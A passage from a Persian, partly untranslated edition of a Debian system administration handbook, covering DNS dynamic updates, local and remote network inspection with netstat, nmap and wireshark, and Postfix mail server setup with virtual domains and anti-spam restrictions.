In the bind case (see قسمت 10.7.1, “DNS software” ), the allow-update directive needs to be added to each of the zones that the DHCP server is to edit (the one for the internal.falcot.com domain, and the reverse zone). This directive lists the IP addresses allowed to perform these updates; it should therefore contain the possible addresses of the DHCP server (both the local address and the public address, if appropriate).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

آگاه باشید! منطقه‌ای که قابل ویرایش باشد توسط bind تغییر خواهد کرد و گزینه جدید فایل‌های پیکربندی موجود را از بین می‌برد. از آنجا که این فرآیند خودکارسازی فایل‌هایی را ایجاد می‌کند که برای خواندن دشوارتر از جایگزین‌های دستی خود هستند، مدیرسیستم‌های فالکوت دامنه internal.falcot.com را با یک سرور واگذارشده DNS مدیریت می‌کنند؛ یعنی فایل منطقه falcot.com با قدرت کامل در کنترل آن‌ها باقی خواهد ماند.

The DHCP server configuration excerpt above already includes the directives required for DNS zone updates: they are the ddns-update-style interim; and ddns-domain-name "internal.falcot.com"; lines.

10.9. ابزار بررسی شبکه

زمانی که یک برنامه تحت شبکه درست کار نمی‌کند، بسیار مهم است که از شیوه فعالیت آن اطلاع داشته باشیم. حتی در زمانی که همه چیزی بخوبی کار می‌کند، بررسی شبکه ما را از عملکرد صحیح آن با خبر می‌سازد. چندین ابزار مختلف در این زمینه وجود دارد که هر کدام در سطح جداگانه‌ای فعالیت می‌کند.

10.9.1. بررسی محلی: netstat

بیایید ابتدا دستور netstat را بررسی کنیم (در بسته net-tools)؛ این ابزار یک خلاصه وضعیت لحظه‌ای از فعالیت شبکه نمایش می‌دهد. زمانی که بدون آرگومان فراخوانی شود، این دستور فهرستی از تمام ارتباطات باز را نمایش می‌دهد؛ این فهرست می‌تواند بسیار طولانی باشد چرا که شامل بسیاری از سوکت‌های یونیکس (مورد استفاده فرآیندهای پس‌زمینه) است که اصلا کاری با شبکه ندارند (برای نمونه، ارتباطات dbus یا ترافیک X11 ارتباطات بین فایل‌سیستم‌های مجازی و محیط گرافیکی هستند).

فراخوانی‌های متداول شامل گزینه‌هایی است که عملکرد netstat را تغییر می‌دهند. متداول‌ترین گزینه‌ها عبارتند از:

-t، که با فیلترکردن خروجی تنها ارتباطات TCP را شامل می‌شود؛

-u، که به شیوه‌ای مشابه برای ارتباطات UDP استفاده می‌شود؛ این گزینه‌ها با یکدیکر سازگار نبوده و استفاده یکی از آن‌ها کافی است تا ارتباطات دامنه یونیکس نمایش داده نشوند؛

-a، برای فهرست کردن سوکت‌های منتظر (آن‌هایی که برای ارتباط دریافتی انتظار می‌کشند)؛

-n، برای نمایش نتایج به صورت عددی: نشانی‌های IP (بدون دخالت DNS)، شماره‌های درگاه (بدون نام مستعار تعریف شده در /etc/services) و شناسه‌های کاربری (بدون نام کاربری)؛

-p، برای فهرست‌کردن فرآیندهای درگیر؛ این گزینه زمانی مفید است که netstat به عنوان root اجرا شود، چرا که کاربران عادی تنها می‌توانند فرآیندهای خود را مشاهده کنند؛

-c، برای تازه‌سازی فهرست خروجی به صورت مداوم.

سایر گزینه‌ها که در صفحه راهنمای netstat(8) مستندسازی شده‌اند، کنترل بسیار بیشتری را فراهم می‌کنند. در عمل، پنج گزینه اول به اندازه‌ای پرکاربرد هستند که مدیران شبکه و سیستم از عبارت netstat -tupan برای اشاره به آن‌ها استفاده می‌کنند. به طور معمول، نتایج قابل مشاهده در یک رایانه معمولی مانند زیر هستند:

# netstat -tupan Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 397/rpcbind tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 431/sshd tcp 0 0 0.0.0.0:36568 0.0.0.0:* LISTEN 407/rpc.statd tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 762/exim4 tcp 0 272 192.168.1.242:22 192.168.1.129:44452 ESTABLISHED 1172/sshd: roland [ tcp6 0 0 :::111 :::* LISTEN 397/rpcbind tcp6 0 0 :::22 :::* LISTEN 431/sshd tcp6 0 0 ::1:25 :::* LISTEN 762/exim4 tcp6 0 0 :::35210 :::* LISTEN 407/rpc.statd udp 0 0 0.0.0.0:39376 0.0.0.0:* 916/dhclient udp 0 0 0.0.0.0:996 0.0.0.0:* 397/rpcbind udp 0 0 127.0.0.1:1007 0.0.0.0:* 407/rpc.statd udp 0 0 0.0.0.0:68 0.0.0.0:* 916/dhclient udp 0 0 0.0.0.0:48720 0.0.0.0:* 451/avahi-daemon: r udp 0 0 0.0.0.0:111 0.0.0.0:* 397/rpcbind udp 0 0 192.168.1.242:123 0.0.0.0:* 539/ntpd udp 0 0 127.0.0.1:123 0.0.0.0:* 539/ntpd udp 0 0 0.0.0.0:123 0.0.0.0:* 539/ntpd udp 0 0 0.0.0.0:5353 0.0.0.0:* 451/avahi-daemon: r udp 0 0 0.0.0.0:39172 0.0.0.0:* 407/rpc.statd udp6 0 0 :::996 :::* 397/rpcbind udp6 0 0 :::34277 :::* 407/rpc.statd udp6 0 0 :::54852 :::* 916/dhclient udp6 0 0 :::111 :::* 397/rpcbind udp6 0 0 :::38007 :::* 451/avahi-daemon: r udp6 0 0 fe80::5054:ff:fe99::123 :::* 539/ntpd udp6 0 0 2001:bc8:3a7e:210:a:123 :::* 539/ntpd udp6 0 0 2001:bc8:3a7e:210:5:123 :::* 539/ntpd udp6 0 0 ::1:123 :::* 539/ntpd udp6 0 0 :::123 :::* 539/ntpd udp6 0 0 :::5353 :::* 451/avahi-daemon: r

همانطور که انتظار می‌رفت، این فهرست شامل ارتباطات جاری سیستم است از جمله دو ارتباط SSH و برنامه‌هایی که منتظر دریافت ارتباطات هستند (که به عنوان LISTEN آمده‌اند)، مانند سرور ایمیل Exim4 که به درگاه ۲۵ گوش می‌کند.

10.9.2. بررسی راه‌دور: nmap

nmap (در بسته‌ای با همین نام) به نوعی معادل راه‌دور netstat به حساب می‌آید. می‌تواند به پویش مجموعه‌ای از درگاه‌های “شناخته-شده” برای یک یا چند سرور راه‌دور بپردازد و درگاه‌هایی که برنامه‌های مختلف به آن‌ها پاسخ می‌دهند را نمایش می‌دهد. علاوه بر این، nmap می‌تواند برخی از این برنامه‌ها را نیز تشخیص دهد، گاهی اوقات حتی نسخه‌های آنان را. از آنجا که این ابزار به صورت راه‌دور کار می‌کند، نمی‌تواند اطلاعات مربوط به فرآیندها یا کاربران را نمایش دهد؛ با این حال می‌تواند به صورت همزمان روی چندین هدف اجرا شود.

یک فراخوانی معمول nmap تنها از گزینه -A استفاده می‌کند (به منظور یافتن نسخه نرم‌افزار سرور که روی آن اجرا می‌شود) به همراه یک یا چند نشانی IP یا نام‌های DNS رایانه‌هایی که قصد پویش آن‌ها را دارد. بسیاری گزینه‌های مختلف وجود دارد که به کنترل بیشتر عملکرد nmap کمک می‌کنند؛ لطفا به مستندات صفحه راهنمای nmap(1) مراجعه کنید.

# nmap mirtuel Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-30 21:05 CET Nmap scan report for mirtuel (192.168.1.242) Host is up (0.000013s latency). rDNS record for 192.168.1.242: mirtuel.internal.placard.fr.eu.org Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind Nmap done: 1 IP address (1 host up) scanned in 2.41 seconds # nmap -A localhost Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-30 21:17 CEST Nmap scan report for localhost (127.0.0.1) Host is up (0.000039s latency). Other addresses for localhost (not scanned): ::1 Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0) | ssh-hostkey: | 2048 33:a1:d8:b1:e5:5b:b2:0d:15:1b:8e:76:7f:e4:d7:3d (RSA) | 256 8f:83:cf:fa:b3:58:54:9a:1d:1b:4c:db:b1:e2:58:76 (ECDSA) |_ 256 fa:3d:58:62:49:92:93:90:52:fe:f4:26:ca:dc:4c:40 (ED25519) 25/tcp open smtp Exim smtpd 4.92 | smtp-commands: mirtuel Hello localhost [127.0.0.1], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP, |_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP 631/tcp open ipp CUPS 2.2 | http-methods: |_ Potentially risky methods: PUT | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: CUPS/2.2 IPP/2.1 |_http-title: Home - CUPS 2.2.10 Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.7 - 3.10 Network Distance: 0 hops Service Info: Host: debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.33 seconds

همانطور که انتظار می‌رفت، برنامه‌های SSH و Exim4 فهرست شده‌اند. نکته اینکه همه برنامه‌ها به همه نشانی‌های IP گوش فرا نمی‌دهند؛ از آنجا که Exim4 تنها از طریق رابط lo قابل دسترس است، تنها زمانی نمایش می‌یابد که تحلیل localhost صورت بگیرد و نه تحلیل mirtuel (که به رابط eth0 در همان رایانه نگاشت شده است).

10.9.3. اسنیفرها: tcpdump و wireshark

بعضی وقت‌ها، نیاز است بدانیم چه چیزی به صورت بسته به بسته از شبکه عبور می‌کند. این موارد شامل یک “تحلیلگر فریم” هستند که به صورت کلی‌تر با نام sniffer شناخته می‌شوند. چنین ابزاری به مشاهده بسته‌های عبوری از یک رابط شبکه می‌پردازد و آن‌ها را به شیوه‌ای مرتب و خودمانی نمایش می‌دهد.

ابزار قدرتمند در این زمینه tcpdump است که به عنوان یک ابزار استاندارد در طیف گسترده‌ای از پلتفرم‌ها موجود است. این ابزار امکان بسیاری از فرآیندهای مرتبط با شبکه را می‌دهد، اما شیوه نمایش این ترافیک کمی عجیب و غریب است. بنابراین به توضیح بیشتر آن نمی‌پردازیم.

یک ابزار جدیدتر، wireshark (در بسته wireshark) به عنوان مرجع تحلیل ترافیک شبکه به دلیل ماژول‌های بسیاری که در فرآیند تحلیل بسته‌ها کمک می‌کنند، تبدیل شده است. بسته‌ها به صورت گرافیکی و به ترتیب قرار گرفتن در لایه‌های مختلف شبکه نمایش داده می‌شوند. این امر به کاربر کمک می‌کند تا به صورت بصری به بررسی بسته‌ها بپردازد. برای نمونه، بسته‌ای که شامل درخواست HTTP است، wireshark آن را به صورت جداگانه به همراه اطلاعات مرتبط با هر لایه شبکه نمایش می‌دهد و در نهایت به نمایش خود درخواست HTTP می‌رسد.

شكل 10.1. تحلیلگر ترافیک شبکه wireshark

In our example, the packets traveling over SSH are filtered out (with the !tcp.port == 22 filter). The packet currently displayed was developed at the transport layer of the SSHv2 protocol.

نکته wireshark بدون هیچ رابط گرافیکی: tshark

که زمانی امکان اجرای محیط گرافیکی نباشد، یا علاقه‌ای به اینکار وجود نداشته باشد، یک نسخه فقط-متنی از wireshark به نام tshark وجود دارد (در بسته tshark). اکثر قابلیت‌های دریافت و رمزگشایی بسته‌ها هم‌اکنون وجود دارد، اما عدم وجود رابط گرافیکی کار با برنامه‌ را کمی دشوار می‌سازد (فیلترکردن بسته‌ها پس از اینکه ضبط شدند، ردیابی یک ارتباط مشخص و از این قبیل). به عنوان یک رویکرد اولیه می‌تواند مورد استفاده قرار گیرد. اگر تغییرات بعدی مستلزم وجود رابط گرافیکی بود، بسته‌ها می‌توانند در یک فایل ذخیره شده و آن فایل در wireshark گرافیکی رایانه‌ای دیگر اجرا گردد.

فصل 11. سرویس‌های شبکه: Postfix، Apache، NFS، Samba، Squid، LDAP، SIP، XMPP، Turn

Network services are the programs that users interact with directly in their daily work. They are the tip of the information system iceberg, and this chapter focuses on them; the hidden parts they rely on are the infrastructure we already described. They usually require the encryption technology described in قسمت 10.2, “X.509 certificates” .

11.1. سرور ایمیل

مدیرسیستم‌های شرکت فالکوت Postfix را، با توجه به قابلیت اطمینان بالا و سادگی در پیکربندی برای سرور ایمیل خود انتخاب کرده‌اند. در حقیقت، طراحی آن بگونه‌ای است که هر وظیفه با حداقل تعداد مجوزهای مورد نیاز پیاده‌سازی شود، که این روش یک عامل کاهنده در رابطه با مشکلات امنیتی است.

جایگزین سرور Exim4

دبیان از Exim4 به عنوان سرور پیشفرض ایمیل استفاده می‌کند (به همین دلیل است که زمان نصب اولیه سیستم انتخاب شده است). پیکربندی آن در بسته جداگانه‌ای بنام exim4-config قرار دارد و به صورت خودکار توسط پرسش‌های مطرح شده از Debconf سفارشی‌سازی می‌شود، که بسیار شبیه به پرسش‌های مطرح شده توسط بسته postfix است.

پیکربندی می‌تواند در یک فایل جداگانه قرار داشته باشد (/etc/exim4/exim4.conf.template) یا در مسیر /etc/exim4/conf.d/ بین چندین فایل مختلف تقسیم گردد. در هر دو مورد، فایل‌ها توسط update-exim4.conf به عنوان قالبی برای تولید /var/lib/exim4/config.autogenerated مورد استفاده قرار می‌گیرند. فایل آخر همان فایلی است که توسط Exim4 مورد استفاده قرار می‌گیرد. به لطف این مکانیزم، مقادیر بدست آمده از پیکربندی debconf در Exim - که در فایل /etc/exim4/update-exim4.conf.conf ذخیره شده‌اند - می‌توانند درون فایل پیکربندی Exim قرار گیرند، حتی زمانی که مدیرسیستم یا بسته دیگری پیکربندی پیشفرض آن را تغییر داده باشند.

The Exim4 configuration file syntax has its peculiarities and its learning curve; however, once these peculiarities are understood, Exim4 is a very complete and powerful email server, as evidenced by the tens of pages of documentation.

→ https://www.exim.org/docs.html

11.1.1. نصب Postfix

The postfix package includes the main SMTP daemon. Other packages (such as postfix-ldap and postfix-pgsql) add extra functionality to Postfix, including access to mapping databases. You should only install them if you know that you need them.

بارگشت به مقدمات SMTP

SMTP (Simple Mail Transfer Protocol, RFC 5321) is the protocol used by mail servers to exchange and route emails.

هنگام نصب بسته، چندین پرسش از طرف Debconf مطرح می‌شود. پاسخ‌های داده شده برای تولید اولین فایل پیکربندی /etc/postfix/main.cf بکار می‌روند.

پرسش اول درباره نوع راه‌اندازی است. تنها دو تا از پاسخ‌های پیشنهادی در مورد یک سرور متصل به اینترنت مناسب هستند، “Internet site” و “Internet with smarthost”. اولی برای سروری مناسب است که ایمیل ورودی را دریافت کرده و پاسخ را مستقیم به گیرنده می‌فرستد، که به همین دلیل برای شرکت فالکوت مناسب است. دومی برای سروری مناسب است که ایمیل ورودی را دریافت کرده، اما پاسخ را از طریق یک سرور SMTP میانی - یا همان “smarthost” - به گیرنده می‌فرستد. این گزینه اغلب برای افرادی مناسب است که از نشانی IP پویا استفاده می‌کنند، چرا که بسیاری سرورهای ایمیل از دریافت پیام‌های ارسالی از طرف چنین نشانی‌هایی خودداری می‌کنند. در این مورد، smarthost معمولا سرور SMTP شرکت ارائه دهنده خدمات اینترنتی است، که معمولا طوری پیکربندی می‌شود تا ایمیل‌های دریافتی از مشتریان خود را به درستی مسیریابی کند. این راه‌اندازی (با یک smarthost) برای سرورهایی که دائم به اینترنت متصل نیستند نیز مناسب است، چرا که از مدیریت صف پیام‌های غیرقابل ارسال که نیاز به حذف شدن در زمان دیگری را دارند، جلوگیری می‌کند.

واژگان ISP

ISP is the acronym for “Internet Service Provider”. It covers an entity, often a commercial company, that provides Internet connections and the associated basic services (email, news and so on).

پرسش دوم درباره نام کامل رایانه‌ای است که نشانی‌های ایمیل را از یک کاربر محلی تولید می‌کند؛ نام کامل پس از قسمت جلوی “@” می‌آید. در مورد فالکوت، پاسخ برابر است با mail.falcot.com. این تنها پرسشی است که به صورت پیشفرض مطرح می‌شود، اما پیکربندی که در پی دارد نیازهای شرکت فالکوت را تامین نمی‌کند، به همین دلیل مدیرسیستم‌های آن اقدام به اجرای dpkg-reconfigure postfix می‌کنند تا بتوانند گزینه‌های بیشتری را پیکربندی نمایند.

یکی از پرسش‌های اضافی که پرسیده می‌شود درباره تمام دامنه‌های مرتبط با این رایانه است. فهرست پیشفرض شامل نام کامل آن به همراه برخی نام‌های مترادف برای localhost است، اما دامنه اصلی falcot.com باید به صورت دستی اضافه شود. به صورت کلی، این پرسش باید با تمام نام‌های دامنه که برای آن‌ها این رایانه به عنوان یک سروی MX عمل می‌کند پاسخ داده شود؛ به عبارت دیگر، تمام دامنه‌هایی که DNS می‌گوید برای این رایانه ایمیل دریافت می‌کنند. این اطلاعات در متغیر mydestination واقع در فایل پیکربندی اصلی Postfix - /etc/postfix/main.cf - قرار می‌گیرند.

شكل 11.1. نقش رکورد MX در DNS هنگام ارسال ایمیل

اضافی پرس و جو از رکوردهای MX

زمانی که DNS برای یک دامنه شامل رکورد MX نباشد، سرور ایمیل تلاش می‌کند که پیام‌ها را مستقیم به خود سیستم میزبان بفرستد، با استفاده از رکورد A متناظر (یا AAAA در IPv6).

در برخی موارد، فرآیند نصب می‌تواند شبکه‌ای را که مجاز به ارسال ایمیل است درخواست کند. در پیکربندی پیشفرض، Postfix فقط ایمیل‌های ارسالی از خود رایانه را قبول می‌کند؛ شبکه محلی نیز معمولا اضافه می‌شود. مدیرسیستم‌های فالکوت 192.168.0.0/16 را به پاسخ پیشفرض اضافه کرده‌اند. اگر این پرسش مطرح نشود، متغیر مربوطه در فایل پیکربندی عبارت است از mynetworks، که در نمونه زیر نیز مشاهده می‌شود.

Local email can also be delivered through procmail. This tool allows users to sort their incoming email according to rules stored in their ~/.procmailrc file. Both Postfix and Exim4 suggest procmail by default, but there are alternatives like maildrop or Sieve filters.

پس از این گام اولیه، فایل پیکربندی مقابل در اختیار مدیرسیستم‌ها قرار گرفته است؛ از این فایل به عنوان نقطه شروعی برای افزودن قابلیت‌های بیشتر در قسمت‌های بعدی استفاده می‌شود.

مثال 11.1. فایل اولیه /etc/postfix/main.cf

# See /usr/share/postfix/main.cf.dist for a commented, more complete version # Debian specific: Specifying a file name will cause the first # line of that file to be used as the name. The Debian default # is /etc/mailname. #myorigin = /etc/mailname smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU) biff = no # appending .domain is the MUA's job. append_dot_mydomain = no # Uncomment the next line to generate "delayed mail" warnings #delay_warning_time = 4h readme_directory = no # See http://www.postfix.org/COMPATIBILITY_README.html -- default to 2 on # fresh installs. compatibility_level = 2 # TLS parameters smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key smtpd_use_tls=yes smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache # See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for # information on enabling SSL in the smtp client. smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination myhostname = mail.falcot.com alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases myorigin = /etc/mailname mydestination = mail.falcot.com, falcot.com, localhost.localdomain, localhost relayhost = mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/16 mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all inet_protocols = all

امنیت گواهینامه‌های SSL زهر ماری

The snake oil certificates, like the snake oil “medicine” sold by unscrupulous quacks in old times, have absolutely no value: you cannot rely on them to authenticate the server since they are automatically generated self-signed certificates. However, they are useful to improve the privacy of the exchanges.

In general they should only be used for testing purposes, and normal service must use real certificates. The Let's encrypt initiative offers free and trusted SSL/TLS certificates, which can be generated using the certbot package as described in قسمت 11.2.2, “Adding support for SSL” and then used in postfix like this:

smtpd_tls_cert_file = /etc/letsencrypt/live/DOMAIN/fullchain.pem smtpd_tls_key_file = /etc/letsencrypt/live/DOMAIN/privkey.pem smtpd_tls_CAfile = /etc/ssl/certs/ca-certificates.crt smtpd_tls_CApath = /etc/ssl/certs smtp_tls_CApath = /etc/ssl/certs

A different way to generate own certificates is described in قسمت 10.2.2, “زیرساخت کلید عمومی: easy-rsa” .

11.1.2. پیکربندی دامنه‌های مجازی

سرور ایمیل می‌تواند ایمیل‌هایی که به سایر دامنه‌ها در کنار دامنه اصلی ارسال شده‌اند را دریافت کند؛ این دامنه‌ها بنام دامنه‌های مجازی شناخته می‌شوند. در اکثر مواردی که این اتفاق می‌افتد، ایمیل‌ها الزاما به کاربران محلی مورد نظر خود ارجاع داده نمی‌شوند. Postfix دو ویژگی جالب فراهم می‌کند که برای دامنه‌های مجازی بکار می‌روند.

احتیاط دامنه‌های مجازی و دامنه‌های استاندارد

هیچ یک از دامنه‌های مجازی نباید در متغیر mydestination قرار بگیرند؛ این متغیر تنها شامل نام‌ دامنه‌های “استاندارد” است که به طور مستقیم با رایانه و کاربران محلی آن متناظر می‌باشد.

11.1.2.1. دامنه‌های مستعار مجازی

یک دامنه مستعار مجازی تنها شامل نام‌های مستعار است، نشانی‌هایی که ایمیل‌ها را به سایر نشانی‌ها فوروارد می‌کنند.

چنین دامنه‌ای با افزودن نامش به متغیر virtual_alias_domains و ارجاع دادن به یک فایل نگاشت نشانی در متغیر virtual_alias_maps، فعال می‌شود.

virtual_alias_domains = falcotsbrand.com virtual_alias_maps = hash:/etc/postfix/virtual

فایل /etc/postfix/virtual یک نگاشت با شیوه‌ای ساده را توضیح می‌دهد: هر خط شامل دو فیلد است که با فاصله از یکدیگر جدا شده‌اند؛ فیلد اول نام مستعار و فیلد دوم فهرستی از نشانی‌های ایمیل است که به آن ارسال می‌شود. شیوه نگارشی بخصوص @domain.com تمام نام‌های مستعار در یک دامنه را پوشش می‌دهد.

webmaster@falcotsbrand.com jean@falcot.com contact@falcotsbrand.com laure@falcot.com, sophie@falcot.com # The alias below is generic and covers all addresses within # the falcotsbrand.com domain not otherwise covered by this file. # These addresses forward email to the same user name in the # falcot.com domain. @falcotsbrand.com @falcot.com

After changing /etc/postfix/virtual the postfix table /etc/postfix/virtual.db needs to be updated using sudo postmap /etc/postfix/virtual.

11.1.2.2. دامنه‌های صندوق‌پستی مجازی

احتیاط دامنه مجازی ترکیبی؟

Postfix اجازه نمی‌دهد که از یک دامنه در هر دو متغیر virtual_alias_domains و virtual_mailbox_domains استفاده شود. با این حال هر دامنه موجود در virtual_mailbox_domains به طور ضمنی در virtual_alias_domains نیز قرار داده می‌شود که امکان ترکیب نام‌های مستعار و صندوق‌های پستی در یک دامنه مجازی را فراهم می‌آورد.

پیام‌هایی که به یک دامنه صندوق‌پستی مجازی ارسال می‌شوند در صندوق‌پستی‌هایی ذخیره می‌گردد که در اختیار کاربر محلی سیستم نیست.

فعال‌سازی یک دامنه صندوق‌پستی مجازی نیازمند نام بردن از این دامنه در متغیر virtual_mailbox_domains و ارجاع به یک فایل نگاشت صندوق‌پستی در virtual_mailbox_maps است. پارامتر virtual_mailbox_base شامل دایرکتوری است که در آن صندوق‌های پستی ذخیره می‌شوند.

virtual_mailbox_domains = falcot.org virtual_mailbox_maps = hash:/etc/postfix/vmailbox virtual_mailbox_base = /var/mail/vhosts

پارامتر virtual_uid_maps (به همین ترتیب پارامتر virtual_gid_maps) به فایلی ارجاع می‌دهد که شامل نگاشت بین نشانی ایمیل و کاربر سیستم است که "مالک" صندوق‌پستی مربوطه می‌باشد (به همین ترتیب برای گروه). برای دریافت تمام صندوق‌پستی‌هایی که توسط مالک/گروه یکسانی اداره می‌شوند، عبارت static:5000 یک شناسه‌کاربر/شناسه‌گروه ثابت را به آن اختصاص می‌دهد (در اینجا مقدار ۵۰۰۰).

مجدد، شیوه نگارش فایل /etc/postfix/vmailbox کاملا واضح است: دو فیلد که با فاصله از یکدیگر جدا شده‌اند. فیلد اول نشانی ایمیل یکی از دامنه‌های مجازی است و فیلد دوم مکان صندوق‌پستی مورد نظر است (نسبت به دایرکتوری مشخص شده در virtual_mailbox_base). اگر نام صندوق‌پستی با یک اسلش (/) تمام شود، ایمیل‌ها در قالب maildir ذخیره‌سازی می‌شوند؛ در غیر اینصورت از قالب سنتی mbox استفاده می‌گردد. قالب maildir از یک دایکتوری کامل برای ذخیره‌سازی یک صندوق‌پستی استفاده می‌کند، که هر پیام آن در یک فایل جداگانه قرار می‌گیرد. از طرف دیگر، در قالب mbox تمام صندوق‌پستی در یک فایل بزرگ ذخیره می‌شود و هر خطی که با From  (به همراه یک فاصله) آغاز گردد، نشانگر ابتدای یک پیام است.

# Jean's email is stored as maildir, with # one file per email in a dedicated directory jean@falcot.org falcot.org/jean/ # Sophie's email is stored in a traditional "mbox" file, # with all mails concatenated into one single file sophie@falcot.org falcot.org/sophie

11.1.3. محدودیت برای ارسال و دریافت

تعداد رو به افزایش ایمیل‌های انبوه ناخواسته (spam) تصمیم‌گیری درباره اینکه سرور چه ایمیل‌هایی را دریافت کند، دشوار می‌سازد. این قسمت به بررسی برخی راهبردهای موجود در Postfix می‌پردازد.

If the reject-rules are too strict, it may happen that even legitimate email traffic gets locked out. It is therefor a good habit to test restrictions and prevent the permanent rejection of requests during this time using the soft_bounce = yes directive. By prepending a reject-type directive with warn_if_reject only a log message will be recorded instead of rejecting the request.

فرهنگ مشکل اسپم

“Spam” is a generic term used to designate all the unsolicited commercial emails (also known as UCEs) that flood our electronic mailboxes; the unscrupulous individuals sending them are known as spammers. They care little about the nuisance they cause, since sending an email costs very little, and only a very small percentage of recipients need to be attracted by the offers for the spamming operation to make more money than it costs. The process is mostly automated, and any email address made public (for instance, on a web forum, or on the archives of a mailing list, or on a blog, and so on) will be likely discovered by the spammers' robots, and subjected to a never-ending stream of unsolicited messages. Also every contact found at a compromised system is targeted.

تمام مدیرسیستم‌ها تلاش می‌کنند که با استفاده از فیلترهای اسپم با این مزاحمت مقابله کنند، اما اسپمرها نیز در این میان بیکار نمی‌شینند. برخی از آن‌ها برای کار خود حتی شبکه‌ای از رایانه‌ها را از اتحادیه‌های خلافکاری به اجاره می‌گیرند. محاسبات آماری اخیر نشان می‌دهد که بالغ بر ۹۵٪ از ترافیک ایمیل روی اینترنت مربوط به اسپم است!

11.1.3.1. محدودیت‌های دسترسی مبتنی بر IP

عبارت smtpd_client_restrictions کنترل می‌کند که چه رایانه‌هایی مجاز به برقراری ارتباط با سرور ایمیل هستند.

When a variable contains a list of rules, as in the example below, these rules are evaluated in order, from the first to the last. Each rule can accept the message, reject it, or leave the decision to a following rule. As a consequence, order matters, and simply switching two rules can lead to a widely different behavior.

مثال 11.2. محدودیت‌های مبتنی بر نشانی میزبان

smtpd_client_restrictions = permit_mynetworks, warn_if_reject reject_unknown_client_hostname, check_client_access hash:/etc/postfix/access_clientip, reject_rhsbl_reverse_client dbl.spamhaus.org, reject_rhsbl_reverse_client rhsbl.sorbs.net, reject_rbl_client zen.spamhaus.org, reject_rbl_client dnsbl.sorbs.net

The permit_mynetworks directive, used as the first rule, accepts all emails coming from a machine in the local network (as defined by the mynetworks configuration variable).

The second directive would normally reject emails coming from machines without a completely valid DNS configuration. Such a valid configuration means that the IP address can be resolved to a name, and that this name, in turn, resolves to the IP address. This restriction is often too strict, since many email servers do not have a reverse DNS for their IP address. This explains why the Falcot administrators prepended the warn_if_reject modifier to the reject_unknown_client directive: this modifier turns the rejection into a simple warning recorded in the logs. The administrators can then keep an eye on the number of messages that would be rejected if the rule were actually enforced, and make an informed decision later if they wish to enable such enforcement.

نکته جدول‌های دسترسی

The restriction criteria include administrator-modifiable tables listing combinations of senders, IP addresses, and allowed or forbidden hostnames. These tables can be created using an uncompressed copy of the /usr/share/doc/postfix/examples/access.gz file shipped with the postfix-doc package. This model is self-documented in its comments, which means each table describes its own syntax.

The /etc/postfix/access_clientip table lists IP addresses and networks; /etc/postfix/access_helo lists domain names; /etc/postfix/access_sender contains sender email addresses. All these files need to be turned into hash-tables (a format optimized for fast access) after each change, with the sudo postmap /etc/postfix/file command.

عبارت سوم به مدیرسیستم اجازه می‌دهد که فهرست سیاه و سفیدی از سرورهای ایمیل، که در فایل /etc/postfix/access_clientip ذخیره می‌شوند، ایجاد کند. سرورهای موجود در فهرست سفید قابل اعتماد در نظر گرفته می‌شوند و ایمیل‌های ارسالی از آن‌ها از قوانین فیلترینگ گفته شده عبور داده نمی‌شوند.

The last four rules reject any message coming from a server listed in one of the indicated blacklists. RBL is an acronym for Remote Black List, and RHSBL stands for Right-Hand Side Black List. The difference is that the former lists IP addresses, whereas the latter lists domain names. There are several such services. They list domains and IP addresses with poor reputation, badly configured servers that spammers use to relay their emails, as well as unexpected mail relays such as machines infected with worms or viruses.

نکته فهرست سفید و RBLها

فهرست‌های سیاه گاهی شامل سرورهای قانونی هستند که دچار حادثه شده‌اند. در این شرایط، تمام ایمیل‌های ارسالی از این سرورها رد می‌شوند مگر اینکه نام آن‌ها در یک فهرست سفید تعریف شده در /etc/postfix/access_clientip وجود داشته باشد.

Prudence therefore recommends including in the whitelist(s) all the trusted servers from which many emails are usually received.

11.1.3.2. بررسی اعتبار دستورات EHLO یا HELO

Each SMTP exchange starts with a HELO (or EHLO) command, followed by the name of the sending email server. Checking the validity of this name can be interesting. To fully enforce the restrictions listed in smtpd_helo_restrictions the smtpd_helo_required option needs to be enabled. Otherwise clients could skip the restrictions by not sending any HELO/EHLO command.

مثال 11.3. محدودیت‌های نام اعلام شده در EHLO

smtpd_helo_required = yes smtpd_helo_restrictions = permit_mynetworks, reject_invalid_helo_hostname, reject_non_fqdn_helo_hostname, warn_if_reject reject_unknown_helo_hostname, check_helo_access hash:/etc/postfix/access_helo, reject_rhsbl_helo multi.surbl.org

عبارت ابتدایی permit_mynetworks به تمام رایانه‌های شبکه محلی اجازه می‌دهد که خود را آزادانه معرفی کنند. این مهم است چرا که برخی برنامه‌های ایمیل برای این بخش از پروتکل SMTP به اندازه کافی احترام قائل نیستند و آن‌ها می‌توانند خود را با نام‌های مهمل معرفی کنند.

